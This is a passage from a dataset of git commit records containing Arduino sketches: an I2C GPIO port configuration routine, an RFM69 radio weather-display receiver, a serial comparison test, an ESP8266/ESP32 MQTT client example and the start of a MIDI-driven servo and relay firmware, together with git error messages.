Wire.write((byte)0);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)0x1E);\n Wire.write((byte)0XFF);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.println(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.println(error);\n }\n \n \n Serial.print(\"Configurando GPORT3...\");\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)SELECT);\n Wire.write((byte)3);\n error = Wire.endTransmission();\n\n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n\n Wire.beginTransmission(GPIO);\n Wire.write((byte)DIRECTION);\n Wire.write((byte)0XFF);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n \n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)INTERRUPT);\n Wire.write((byte)0XFF);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)W_GPORT3);\n Wire.write((byte)0);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)0x1E);\n Wire.write((byte)0XFF);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.println(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.println(error);\n }\n \n \n Serial.print(\"Configurando GPORT2...\");\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)SELECT);\n Wire.write((byte)2);\n error = Wire.endTransmission();\n\n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n\n Wire.beginTransmission(GPIO);\n Wire.write((byte)DIRECTION);\n Wire.write((byte)1);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)INTERRUPT);\n Wire.write((byte)1);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)W_GPORT2);\n Wire.write((byte)0);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n \n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)0x1E);\n Wire.write((byte)3);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.println(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.println(error);\n }\n \n Serial.print(\"Configurando GPORT7...\");\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)SELECT);\n Wire.write((byte)7);\n error = Wire.endTransmission();\n\n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n\n Wire.beginTransmission(GPIO);\n Wire.write((byte)DIRECTION);\n Wire.write((byte)0);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n \n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)INTERRUPT);\n Wire.write((byte)0);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n \n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)W_GPORT7);\n Wire.write((byte)0);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)0x1E);\n Wire.write((byte)0XFF);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.println(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.println(error);\n }\n \n Serial.print(\"Configurando GPORT5...\");\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)SELECT);\n Wire.write((byte)5);\n error = Wire.endTransmission();\n\n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n\n Wire.beginTransmission(GPIO);\n Wire.write((byte)DIRECTION);\n Wire.write((byte)0);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)INTERRUPT);\n Wire.write((byte)0);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)W_GPORT5);\n Wire.write((byte)0);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)0x1E);\n Wire.write((byte)0XFF);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.println(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.println(error);\n }\n \n Serial.print(\"Configurando GPORT6...\");\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)SELECT);\n Wire.write((byte)6);\n error = Wire.endTransmission();\n\n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n\n Wire.beginTransmission(GPIO);\n Wire.write((byte)DIRECTION);\n Wire.write((byte)0);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)INTERRUPT);\n Wire.write((byte)0);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)W_GPORT6);\n Wire.write((byte)0);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)0x1E);\n Wire.write((byte)0XFF);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.println(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.println(error);\n }\n \n Serial.print(\"Configurando GPORT4...\");\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)SELECT);\n Wire.write((byte)4);\n error = Wire.endTransmission();\n\n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n\n Wire.beginTransmission(GPIO);\n Wire.write((byte)DIRECTION);\n Wire.write((byte)0);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)INTERRUPT);\n Wire.write((byte)0);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)W_GPORT4);\n Wire.write((byte)0);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)0x1D);\n Wire.write((byte)0XFF);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.println(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.println(error);\n }\n \n \n Serial.print(\"GUARDANDO CONFIGURACION...\");\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)COMMAND);\n Wire.write((byte)STORE);\n error = Wire.endTransmission();\n\n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n \n \n \n}\n\n\nvoid loop(){\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test\/configuracion\/configuracion.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9fe120a7c58b3b35ba903d7810f86e7dea634683","subject":"adding inside display code","message":"adding inside display code\n","repos":"magnum129\/ParticleProjects,magnum129\/ParticleProjects,magnum129\/ParticleProjects","old_file":"900MHZ_ESP8266_INDOOR_WEATHER_DISPLAY\/ESP8266_RFM69_ILI9341.ino","new_file":"900MHZ_ESP8266_INDOOR_WEATHER_DISPLAY\/ESP8266_RFM69_ILI9341.ino","new_contents":"#include <RFM69.h>\n#include <SPI.h>\n#include \"Adafruit_GFX.h\"\n#include \"Adafruit_ILI9341.h\"\n\n\/\/ For the Adafruit shield, these are the default.\n#define TFT_DC 5\n#define TFT_CS 2\n\nAdafruit_ILI9341 tft = Adafruit_ILI9341(TFT_CS, TFT_DC);\n\n\n\n\/\/*********************************************************************************************\n\/\/ *********** IMPORTANT SETTINGS - YOU MUST CHANGE\/CONFIGURE TO FIT YOUR HARDWARE *************\n\/\/*********************************************************************************************\nint16_t NETWORKID = 100; \/\/the same on all nodes that talk to each other\nint16_t NODEID = 1;\n\n\nint nextTime = 0;\n\n\/\/Match frequency to the hardware version of the radio on your Feather\n\/\/#define FREQUENCY RF69_433MHZ\n\/\/#define FREQUENCY RF69_868MHZ\n#define FREQUENCY RF69_915MHZ\n#define ENCRYPTKEY \"tacoTacoBurrito!\" \/\/exactly the same 16 characters\/bytes on all nodes!\n#define IS_RFM69HCW true \/\/ set to 'true' if you are using an RFM69HCW module\n#define promiscuousMode true\n\/\/*********************************************************************************************\n\n#define RFM69_CS 15\n#define RFM69_IRQ 4\n#define RFM69_IRQN 4 \/\/digitalPinToInterrupt(RFM69_IRQ)\n#define RFM69_RST 16\n\nint16_t packetnum = 0; \/\/ packet counter, we increment per xmission\n\nRFM69 radio = RFM69(RFM69_CS, RFM69_IRQ, IS_RFM69HCW, RFM69_IRQN); \/\/initialize radio with potential custom pin outs; otherwise you may use for default: RFM69 radio;\n\n\n\/\/ Data Structure\ntypedef struct {\n float soiltempf;\n float humidity;\n float inches;\n int winddir;\n\n float windspeedmph;\n int windgustdir;\n float windgustmph;\n float rainin;\n\n float dewptF;\n float windspdmph_avg2m;\n int winddir_avg2m;\n float windgustmph_10m;\n\n int windgustdir_10m;\n float dailyrainin;\n} Payload;\nPayload theData;\n\n\n\nvoid setup()\n{\n\n Serial.begin(115200); \/\/ Open serial monitor at 115200 baud to see ping results.\n Serial.println(\"RFM69 Based Receiver\");\n\n \/\/ Hard Reset the RFM module - Optional\n pinMode(RFM69_RST, OUTPUT);\n digitalWrite(RFM69_RST, HIGH);\n delay(100);\n digitalWrite(RFM69_RST, LOW);\n delay(100);\n\n \/\/ Initialize radio\n radio.initialize(FREQUENCY,NODEID,NETWORKID);\n if (IS_RFM69HCW) {\n radio.setHighPower(); \/\/ Only for RFM69HCW & HW!\n }\n\n\/\/ radio.promiscuous(promiscuousMode);\n\n \/\/ To improve distance set a lower bit rate. Most libraries use 55.55 kbps as default\n \/\/ See https:\/\/lowpowerlab.com\/forum\/moteino\/rfm69hw-bit-rate-settings\/msg1979\/#msg1979\n \/\/ Here we will set it to 9.6 kbps instead\n radio.writeReg(0x03,0x0D); \/\/set bit rate to 9k6\n radio.writeReg(0x04,0x05);\n\n radio.setPowerLevel(10); \/\/ power output ranges from 0 (5dBm) to 31 (20dBm)\n \/\/ Note at 20dBm the radio sources up to 130 mA!\n \/\/ Selecting a power level between 10 and 15 will use ~30-44 mA which is generally more compatible with Photon power sources\n \/\/ As reference, power level of 10 transmits successfully at least 300 feet with 0% packet loss right through a home, sufficient for most use\n\n radio.encrypt(ENCRYPTKEY);\n\n Serial.print(\"\\nListening at \");\n Serial.print(FREQUENCY==RF69_433MHZ ? 433 : FREQUENCY==RF69_868MHZ ? 868 : 915);\n Serial.println(\" MHz\");\n tft.begin();\n}\n\n\n\/\/=========================MAIN LOOP===========================================\nvoid loop() {\n\nif (radio.receiveDone())\n {\n Serial.println();\n Serial.print('[');Serial.print(radio.SENDERID, DEC);Serial.print(\"] \");\n Serial.print(\" [RX_RSSI:\");Serial.print(radio.readRSSI());Serial.println(\"]:\");\n\n\n if (radio.DATALEN != sizeof(Payload))\n Serial.println(\"Invalid payload received, not matching Payload struct!\");\n else\n {\n tft.fillScreen(ILI9341_BLACK);\n theData = *(Payload*)radio.DATA; \/\/assume radio.DATA actually contains our struct and not something else\n\n\n Serial.print(\"soiltempf: \");\n Serial.println(theData.soiltempf);\n\n Serial.print(\"humidity: \");\n Serial.println(theData.humidity);\n\n Serial.print(\"inches: \");\n Serial.println(theData.inches);\n\n Serial.print(\"winddir: \");\n Serial.println(theData.winddir);\n\n Serial.print(\"windspeedmph: \");\n Serial.println(theData.windspeedmph);\n\n Serial.print(\"windgustdir: \");\n Serial.println(theData.windgustdir);\n\n Serial.print(\"windgustmph: \");\n Serial.println(theData.windgustmph);\n\n Serial.print(\"rainin: \");\n Serial.println(theData.rainin);\n\n Serial.print(\"dewptF: \");\n Serial.println(theData.dewptF);\n\n tft.setCursor(0, 0);\n tft.setTextColor(ILI9341_WHITE); tft.setTextSize(3);\n tft.print(\"DewPtF: \");\n tft.println(String(theData.dewptF));\n\n Serial.print(\"windspdmph_avg2m: \");\n Serial.println(theData.windspdmph_avg2m);\n\n Serial.print(\"winddir_avg2m: \");\n Serial.println(theData.winddir_avg2m);\n\n Serial.print(\"windgustmph_10m: \");\n Serial.println(theData.windgustmph_10m);\n\n Serial.print(\"windgustdir_10m: \");\n Serial.println(theData.windgustdir_10m);\n\n Serial.print(\"dailyrainin: \");\n Serial.println(theData.dailyrainin);\n\n }\n }\n\n radio.receiveDone(); \/\/put radio in RX mode\n\n if (nextTime > millis() && nextTime !=0) {\n return;\n }\n nextTime = millis() + 1000;\n Serial.print(\".\"); \/\/THis gives us a neat visual indication of time between messages received\n\n} \/\/end loop\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec '900MHZ_ESP8266_INDOOR_WEATHER_DISPLAY\/ESP8266_RFM69_ILI9341.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"9a22412a3181db73dec79e96193abb549657277b","subject":"add wifi_compare_test","message":"add wifi_compare_test\n","repos":"BenjaminFair\/makeathon2016","old_file":"wifi_compare_test\/wifi_compare_test.ino","new_file":"wifi_compare_test\/wifi_compare_test.ino","new_contents":"void setup() {\n Serial.begin(115200);\n Serial1.begin(115200);\n Serial2.begin(115200);\n}\n\nvoid loop() {\n int front, back;\n while(Serial1.available()) Serial1.read();\n while(Serial2.available()) Serial2.read();\n do {\n while(!Serial1.available()) {\n delay(10);\n }\n front = Serial1.read();\n } while(front == 0 || front >= 128);\n\n do {\n while(!Serial2.available()) {\n delay(10);\n }\n back = Serial2.read();\n } while(back == 0 || back >= 128);\n \n\n Serial.print(front, DEC);\n Serial.print(\" - \");\n Serial.print(back, DEC);\n Serial.print(\" = \");\n Serial.println(front - back);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'wifi_compare_test\/wifi_compare_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7eb7f0fbb2980c5081028c0ac2ae3950dec752a1","subject":"using millis() instead of delay() for the pulse module","message":"using millis() instead of delay() for the pulse module\n\nso it would no longer lag, and be more responsive to input voltage\nchanges.\n","repos":"MakerWear\/MakerWear,MakerWear\/MakerWear,MakerWear\/MakerWear","old_file":"Modifier Modules\/Pulse\/PulseATtiny\/PulseATtiny.ino","new_file":"Modifier Modules\/Pulse\/PulseATtiny\/PulseATtiny.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Modifier' did not match any file(s) known to git\nerror: pathspec 'Modules\/Pulse\/PulseATtiny\/PulseATtiny.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0807aafce90d8cabe84ae9e789323b679b0fbef0","subject":"add ECMqtt-client-example\/ECMqtt-client-example.ino","message":"add ECMqtt-client-example\/ECMqtt-client-example.ino\n","repos":"ERNICommunity\/mqtt-client","old_file":"ECMqtt-client-example\/ECMqtt-client-example.ino","new_file":"ECMqtt-client-example\/ECMqtt-client-example.ino","new_contents":"#include <Arduino.h>\n#ifdef ESP8266\n#include <ESP8266WiFi.h>\n#elif defined(ESP32)\n#include <WiFi.h>\n\/\/ see https:\/\/github.com\/espressif\/arduino-esp32\/issues\/1960#issuecomment-429546528\n#endif\n#include <SerialCommand.h>\n#include <SpinTimer.h>\n#include <AppDebug.h>\n#include <DbgCliNode.h>\n#include <DbgCliTopic.h>\n#include <DbgCliCommand.h>\n#include <DbgTracePort.h>\n#include <DbgTraceLevel.h>\n\n#include <ECMqttClient.h> \/\/ ERNI Community MQTT client wrapper library\n#include <MqttTopic.h>\n\n#define MQTT_SERVER \"test.mosquitto.org\"\n\nSerialCommand* sCmd = 0;\n\n\/\/-----------------------------------------------------------------------------\n\nvoid setupBuiltInLed()\n{\n#if defined(ESP8266)\n digitalWrite(LED_BUILTIN, 1); \/\/ LED state is inverted on ESP8266\n#else\n digitalWrite(LED_BUILTIN, 0);\n#endif\n}\n \nvoid setBuiltInLed(bool state)\n{\n#if defined(ESP8266)\n digitalWrite(LED_BUILTIN, !state); \/\/ LED state is inverted on ESP8266\n#else\n digitalWrite(LED_BUILTIN, state);\n#endif\n}\n\n\n\/\/-----------------------------------------------------------------------------\n\/\/ WiFi Commands\n\/\/-----------------------------------------------------------------------------\nclass DbgCli_Cmd_WifiMac : public DbgCli_Command\n{\npublic:\n DbgCli_Cmd_WifiMac(DbgCli_Topic* wifiTopic)\n : DbgCli_Command(wifiTopic, \"mac\", \"Print MAC Address.\")\n { }\n\n void execute(unsigned int argc, const char** args, unsigned int idxToFirstArgToHandle)\n {\n Serial.println();\n Serial.print(\"Wifi MAC: \");\n Serial.println(WiFi.macAddress().c_str());\n Serial.println();\n }\n};\n\nclass DbgCli_Cmd_WifiNets : public DbgCli_Command\n{\npublic:\n DbgCli_Cmd_WifiNets(DbgCli_Topic* wifiTopic)\n : DbgCli_Command(wifiTopic, \"nets\", \"Print nearby networks.\")\n { }\n\n void execute(unsigned int argc, const char** args, unsigned int idxToFirstArgToHandle)\n {\n bool bailOut = false;\n\n \/\/ scan for nearby networks:\n Serial.println();\n Serial.println(\"** Scan Networks **\");\n int numSsid = WiFi.scanNetworks();\n if (numSsid == -1)\n {\n Serial.println(\"Couldn't get a wifi connection\");\n bailOut = true;\n }\n\n if (!bailOut)\n {\n \/\/ print the list of networks seen:\n Serial.print(\"number of available networks:\");\n Serial.println(numSsid);\n\n \/\/ print the network number and name for each network found:\n for (int thisNet = 0; thisNet < numSsid; thisNet++)\n {\n Serial.print(thisNet);\n Serial.print(\") \");\n Serial.print(WiFi.SSID(thisNet));\n Serial.print(\" - Signal: \");\n Serial.print(WiFi.RSSI(thisNet));\n Serial.print(\" dBm\");\n Serial.print(\" - Encryption: \");\n printEncryptionType(WiFi.encryptionType(thisNet));\n }\n }\n Serial.println();\n }\nprivate:\n void printEncryptionType(int thisType)\n {\n \/\/ read the encryption type and print out the name:\n switch (thisType) {\n#if ! defined(ESP32)\n\/\/ TODO: solve this for ESP32!\n case ENC_TYPE_WEP:\n Serial.println(\"WEP\");\n break;\n case ENC_TYPE_TKIP:\n Serial.println(\"WPA\");\n break;\n case ENC_TYPE_CCMP:\n Serial.println(\"WPA2\");\n break;\n case ENC_TYPE_NONE:\n Serial.println(\"None\");\n break;\n case ENC_TYPE_AUTO:\n Serial.println(\"Auto\");\n break;\n#endif\n default:\n Serial.println(\"Unknown\");\n break;\n }\n }\n};\n\nclass DbgCli_Cmd_WifiStat : public DbgCli_Command\n{\npublic:\n DbgCli_Cmd_WifiStat(DbgCli_Topic* wifiTopic)\n : DbgCli_Command(wifiTopic, \"stat\", \"Show WiFi connection status.\")\n { }\n\n void execute(unsigned int argc, const char** args, unsigned int idxToFirstArgToHandle)\n {\n wl_status_t wlStatus = WiFi.status();\n Serial.println();\n Serial.println(wlStatus == WL_NO_SHIELD ? \"NO_SHIELD \" :\n wlStatus == WL_IDLE_STATUS ? \"IDLE_STATUS \" :\n wlStatus == WL_NO_SSID_AVAIL ? \"NO_SSID_AVAIL \" :\n wlStatus == WL_SCAN_COMPLETED ? \"SCAN_COMPLETED \" :\n wlStatus == WL_CONNECTED ? \"CONNECTED \" :\n wlStatus == WL_CONNECT_FAILED ? \"CONNECT_FAILED \" :\n wlStatus == WL_CONNECTION_LOST ? \"CONNECTION_LOST\" :\n wlStatus == WL_DISCONNECTED ? \"DISCONNECTED \" : \"UNKNOWN\");\n Serial.println();\n WiFi.printDiag(Serial);\n Serial.println();\n }\n};\n\nclass DbgCli_Cmd_WifiDis : public DbgCli_Command\n{\npublic:\n DbgCli_Cmd_WifiDis(DbgCli_Topic* wifiTopic)\n : DbgCli_Command(wifiTopic, \"dis\", \"Disconnect WiFi.\")\n { }\n\n void execute(unsigned int argc, const char** args, unsigned int idxToFirstArgToHandle)\n {\n Serial.println();\n if (argc - idxToFirstArgToHandle > 0)\n {\n printUsage();\n }\n else\n {\n const bool DO_NOT_SET_wifioff = false;\n WiFi.disconnect(DO_NOT_SET_wifioff);\n Serial.println(\"WiFi is disconnected now.\");\n }\n Serial.println();\n }\n\n void printUsage()\n {\n Serial.println(getHelpText());\n Serial.println(\"Usage: dbg wifi dis\");\n }\n};\n\n\/\/-----------------------------------------------------------------------------\n\nclass DbgCli_Cmd_WifiCon : public DbgCli_Command\n{\npublic:\n DbgCli_Cmd_WifiCon(DbgCli_Topic* wifiTopic)\n : DbgCli_Command(wifiTopic, \"con\", \"Connect to WiFi.\")\n { }\n\n void execute(unsigned int argc, const char** args, unsigned int idxToFirstArgToHandle)\n {\n Serial.println();\n if (argc - idxToFirstArgToHandle != 2)\n {\n printUsage();\n }\n else\n {\n const char* ssid = args[idxToFirstArgToHandle];\n const char* pass = args[idxToFirstArgToHandle+1];\n Serial.print(\"SSID: \");\n Serial.print(ssid);\n Serial.print(\", pass: \");\n Serial.println(pass);\n WiFi.begin(ssid, pass);\n Serial.println(\"WiFi is connecting now.\");\n }\n Serial.println();\n }\n\n void printUsage()\n {\n Serial.println(getHelpText());\n Serial.println(\"Usage: dbg wifi con <SSID> <passwd>\");\n }\n};\n\n\n\/\/-----------------------------------------------------------------------------\n\nclass TestLedMqttSubscriber : public MqttTopicSubscriber\n{\npublic:\n TestLedMqttSubscriber()\n : MqttTopicSubscriber(\"test\/led\")\n { }\n\n virtual ~TestLedMqttSubscriber()\n { }\n\n bool processMessage(MqttRxMsg* rxMsg)\n {\n bool msgHasBeenHandled = false;\n \n if (0 != rxMsg)\n {\n \/\/ this subscriber object takes the responsibility\n bool state = atoi(rxMsg->getRxMsgString());\n setBuiltInLed(state);\n \/\/ ... and marks the received message as handled (chain of responsibilities) \n msgHasBeenHandled = true;\n }\n return msgHasBeenHandled;\n }\n};\n\nvoid setup()\n{\n pinMode(LED_BUILTIN, OUTPUT);\n setBuiltInLed(false);\n\n Serial.begin(9600);\n setupDebugEnv();\n\n \/\/-----------------------------------------------------------------------------\n \/\/ WiFi Commands\n \/\/-----------------------------------------------------------------------------\n#if defined(ESP8266) || defined(ESP32)\n DbgCli_Topic* wifiTopic = new DbgCli_Topic(DbgCli_Node::RootNode(), \"wifi\", \"WiFi debug commands\");\n new DbgCli_Cmd_WifiMac(wifiTopic);\n new DbgCli_Cmd_WifiNets(wifiTopic);\n new DbgCli_Cmd_WifiStat(wifiTopic);\n new DbgCli_Cmd_WifiDis(wifiTopic);\n new DbgCli_Cmd_WifiCon(wifiTopic);\n#endif\n\n \/\/-----------------------------------------------------------------------------\n \/\/ ESP8266 \/ ESP32 WiFi Client\n \/\/-----------------------------------------------------------------------------\n WiFi.mode(WIFI_STA);\n \n \/\/-----------------------------------------------------------------------------\n \/\/ MQTT Client\n \/\/-----------------------------------------------------------------------------\n ECMqttClient.begin(MQTT_SERVER);\n new TestLedMqttSubscriber();\n}\n\nvoid loop()\n{\n if (0 != sCmd)\n {\n sCmd->readSerial(); \/\/ process serial commands\n }\n ECMqttClient.loop(); \/\/ process MQTT Client\n scheduleTimers(); \/\/ process Timers\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ECMqtt-client-example\/ECMqtt-client-example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"884e4589440b9d93d6be01f77923a2dededafae8","subject":"fixes?","message":"fixes?\n","repos":"markwatneyy\/ttt_arduino","old_file":"ttt_arduino_backup.ino","new_file":"ttt_arduino_backup.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/markwatneyy\/ttt_arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"08b53b3816a217564c685c2ba681a2dc6ee18825","subject":"update ensemble six firmware","message":"update ensemble six firmware\n","repos":"Sonoscopia\/Phobos,Sonoscopia\/Phobos,Sonoscopia\/Phobos","old_file":"Firmeware\/EnsembleSix\/EnsembleSix.ino","new_file":"Firmeware\/EnsembleSix\/EnsembleSix.ino","new_contents":"\/* PHOBOS - EnsembleFive firmware v.0.2 (27.05.2017)\n * \n * using: \n * Arduino v1.8.0\n * MIDI_Library v.4.3.1 by fortyseveneffects\n * Servo Library v.1.1.2\n * EEPROM Library v.2.0.0\n * \n * plays: \n * A - 2 sevos striking pendulums\n * B - 4 lights controlled by relays \n *\/\n\n#include <EEPROM.h>\n#include <Servo.h>\n#include <MIDI.h>\n#define MIDICH 6\n\n\/\/ PENDULUMS' PINS\n#define A1 6\n#define A2 7\n\/\/ LIGHTS' PINS\n#define B1 2\n#define B2 3\n#define B3 4\n#define B4 5\n\n\/* Addresses on Arduino EEPROM for servo control parameters*\/\n#define S1MININC 0 \/\/ servo1 min increment (cc=120)\n#define S1MAXINC 1 \/\/ servo1 max increment (cc=121)\n\n#define S2MININC 2 \/\/ servo2 min increment (cc=122)\n#define S2MAXINC 3 \/\/ servo2 max increment (cc=123)\n\n#define S1MINANG 4 \/\/ servo1 min angle (cc=124)\n#define S1MAXANG 5 \/\/ servo1 max angle (cc=125)\n\n#define S2MINANG 6 \/\/ servo2 min angle (cc=126)\n#define S2MAXANG 7 \/\/ servo2 max angle (cc=127)\n\n\/\/ servos\nServo servo1, servo2;\nbool servoState[2]; \/\/ servo state to control servos out of MIDI loop\nfloat servoPos[2]; \/\/ servo current position\nfloat servoInc[2]; \/\/servo increment value which relates to movement speed\nfloat servoMinInc[2]; \/\/ servo min increment values \nfloat servoMaxInc[2]; \/\/ servo min increment values \nfloat servoMinAng[2]; \/\/ servo min angle\nfloat servoMaxAng[2]; \/\/ servo max angle \n\n\/\/ make note to pin array\nbyte note2pin[16];\nbyte vel, pitch, val, cc;\n\nMIDI_CREATE_DEFAULT_INSTANCE();\n\nvoid setup() {\n MIDI.begin(MIDICH); \/\/ Launch MIDI and listen to channel 1\n MIDI.turnThruOn();\n \n \/\/ set output pins\n servo1.attach(A1);\n servo2.attach(A2);\n \n pinMode(B1, OUTPUT);\n pinMode(B2, OUTPUT);\n pinMode(B3, OUTPUT);\n pinMode(B4, OUTPUT);\n \/\/ turn relays off\n digitalWrite(B1, HIGH); \n digitalWrite(B2, HIGH);\n digitalWrite(B3, HIGH); \n digitalWrite(B4, HIGH);\n \n \/\/ set servos to initial position\n servoPos[0] = midi2angle(EEPROM.read(S1MINANG));\n servo1.write(servoPos[0]);\n \n servoPos[1] = midi2angle(EEPROM.read(S2MINANG));\n servo2.write(servoPos[1]);\n \n \/\/ set servos' min&max increment values\n \/\/ NOTE: min\/max inc values are between 0 and 127 (after mapped correspond to 0.1 to 10 degrees per millisecond)\n servoMinInc[0] = EEPROM.read(S1MININC);\n servoMaxInc[0] = EEPROM.read(S1MAXINC);\n\n servoMinInc[1] = EEPROM.read(S2MININC);\n servoMaxInc[1] = EEPROM.read(S2MAXINC);\n \n \/\/ set servos0 min&max angle\n \/\/ NOTE: min\/max angle values are already converted to angles\n servoMinAng[0] = midi2angle( EEPROM.read(S1MINANG) );\n servoMaxAng[0] = midi2angle( EEPROM.read(S1MAXANG) );\n\n servoMinAng[1] = midi2angle( EEPROM.read(S2MINANG) );\n servoMaxAng[1] = midi2angle( EEPROM.read(S2MAXANG) ); \n\n \/\/ set note2pin array\n note2pin[0] = A1;\n note2pin[1] = A2;\n \n note2pin[12] = B1;\n note2pin[13] = B2;\n note2pin[14] = B3;\n note2pin[15] = B4;\n}\n\nvoid loop() {\n if(MIDI.read()){\n switch(MIDI.getType()){\n case midi::NoteOn:\n pitch = MIDI.getData1();\n vel = MIDI.getData2();\n \n if(pitch < 1){ \/\/ set servos' values only (activation is done in runServos function) if(pitch < 27){ \/\/ \n 